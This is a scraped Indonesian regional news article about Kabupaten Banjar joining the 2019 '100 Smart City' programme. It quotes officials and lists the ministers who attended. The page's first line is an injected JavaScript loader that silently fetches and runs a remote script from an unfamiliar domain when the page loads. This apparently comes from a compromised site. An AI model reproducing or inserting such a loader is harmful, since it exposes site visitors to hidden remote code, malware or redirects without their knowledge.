(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Gerakan Menuju 100 Smart City telah memasuki tahap ketiga. Di tahun 2019 akan ada 25 kota/kabupaten yang berpartisipasi dalam gerakan ini, termasuk Kabupaten Banjar.
Penandatanganan Gerakan Menuju 100 Smart City 2019 diselenggarakan pada Rabu (15/5/2019) di Grand Ballroom Hotel Santika Premiere Hayam Wuruk Jakarta.
Penjabat Sekda Banjar Dr IGN Yudiana MSi yang mewakili Bupati Banjar melakukan penandatanganan juga dilakukan oleh pimpinan daerah 24 kota/kabupaten di Indonesia.
“Maksud penandatanganan nota kesepahaman ini, diharapkan setiap kepala daerah dapat mendorong pemanfaatan teknologi informasi dan komunikasi dalam menjawab permasalahan sekaligus meningkatkan kualitas layanan serta mendorong potensi masing-masing daerah,†terang IGN Yudiana.
Sementara itu, Kepala Dinas Kominfo Statistik dan Persandian Kabupaten Banjar, Farid Soufian, yang turut menyaksikan penandatanganan mengatakan, Program Smart City dimulai sejak tahun 2017 hingga 2019 secara bertahap melalui mekanisme penyaringan atau seleksi terhadap 514 kota/kabupaten se-Indonesia berdasarkan kriteria atau syarat yang telah ditentukan.
Proses penyaringan atau seleksi terbagi atas tiga tahapan. Tahap pertama dilakukan pada tahun 2017 untuk memilih 25 kota/kabupaten, tahap kedua 2018 memilih 50 kota/kabupaten, dan tahap ketiga memilih 25 kota/kabupaten. Kabupaten Banjar terpilih dalam 100 Smart City melalui proses seleksi tahap ketiga tahun 2019.
“Dengan terpilihnya Kabupaten Banjar dalam 100 Smart City, maka Kabupaten Banjar akan mendapatkan pendampingan dari kalangan akademisi dari Universitas Indonesia, Institut Teknologi Bandung, STIE Perbanas, dan Badan Pengkajian dan Pengembangan Teknologi (BBPT) serta sejumlah lembaga lainnya,†jelas Farid Soufian.
Diketahui pendampingan yang dilakukan juga termasuk menyiapkan master plan yang mencakup Rencana Pembangunan Smart City di Kabupaten Banjar dalam 5-10 tahun ke depan.
Acara tersebut selain dihadiri oleh Menteri Komunikasi Informatika, Rudiantara, juga dihadiri oleh Medagri Tjahjo Kumolo, Menteri Perencanaan Pembangunan Nasional/Kepala BAPPENAS Bambang Brodjonegoro; Kepala Kantor Staf Kepresidenan RI Moeldoko, Dirjen Aptika Samuel Abrijani, Dirjen Perumbangan Keuangan Kemenkeu Astera Primanto Bhakti, Deputi II Kepala Staf Kepresidenan Yanuar Nugroho dan Ketua APEKSI Airin Rachmi Diany. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.